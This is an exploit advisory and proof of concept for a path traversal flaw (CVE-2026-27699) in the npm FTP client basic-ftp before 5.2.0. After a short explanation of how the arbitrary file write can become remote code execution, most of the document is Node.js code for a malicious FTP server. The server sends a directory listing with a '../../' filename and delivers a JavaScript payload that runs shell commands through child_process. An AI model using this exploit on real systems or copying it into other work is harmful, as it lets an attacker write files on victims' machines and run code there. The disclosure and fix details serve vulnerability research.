============================================================================================================================================= | # Title : basic-ftp prior to version 5.2.0 RCE via Malicious FTP Server | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.npmjs.com/package/basic-ftp | ============================================================================================================================================= [+] Summary : This proof-of-concept demonstrates how CVE-2026-27699 in basic-ftp (versions prior to 5.2.0) can be escalated from a path traversal vulnerability (CWE-22) to a conditional Remote Code Execution (RCE) scenario. The malicious FTP server returns crafted directory listings containing traversal sequences (e.g., ../../rce_payload.js). When a vulnerable client application uses downloadToDir() without proper path validation, the attacker can write files outside the intended download directory. If the written file is placed inside: The project root A dynamically loaded plugins directory A path that is automatically required or executed by the application A location monitored by auto-reload tools (e.g., development environments) then the arbitrary file write can escalate into RCE once the application loads or executes the injected JavaScript file. The vulnerability does not inherently grant RCE. It provides an arbitrary file write primitive that may become RCE depending on: Application architecture File placement Execution context Process privileges Presence of auto-loading mechanisms Version 5.2.0 mitigates the issue by properly normalizing and validating resolved paths to ensure downloaded files remain within the intended directory boundary. [+] POC : server.js const net = require("net"); const PORT = 2121; const MALICIOUS_FILENAME = "../../rce_payload.js"; const RCE_CONTENT = ` const { exec } = require('child_process'); console.log('--- [!] RCE TRIGGERED SUCCESSFULLY [!] ---'); exec('msg * Hacked or touch /tmp/pwned', (err) => { if(err) console.log('Exploit executed on: ' + process.platform); }); `; const server = net.createServer((socket) => { console.log("[+] Victim connected"); socket.write("220 Welcome to Secure Backup Server\r\n"); socket.on("data", (data) => { const cmd = data.toString().trim(); if (cmd.startsWith("USER")) socket.write("331 Password required\r\n"); else if (cmd.startsWith("PASS")) socket.write("230 User logged in\r\n"); else if (cmd.startsWith("TYPE")) socket.write("200 Type set to I\r\n"); else if (cmd.startsWith("PASV")) { socket.write("227 Entering Passive Mode (127,0,0,1,195,74)\r\n"); } else if (cmd.startsWith("LIST")) { socket.write("150 Opening ASCII mode data connection\r\n"); socket.write(`-rw-r--r-- 1 user group ${RCE_CONTENT.length} Mar 03 07:00 ${MALICIOUS_FILENAME}\r\n`); socket.write("226 Transfer complete\r\n"); } else if (cmd.startsWith("RETR")) { socket.write("150 Opening BINARY mode data connection\r\n"); socket.write(RCE_CONTENT); socket.write("226 Transfer complete\r\n"); } else { socket.write("200 Command OK\r\n"); } }); }); server.listen(PORT, () => console.log(`[+] Malicious FTP Server listening on port ${PORT}`)); Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================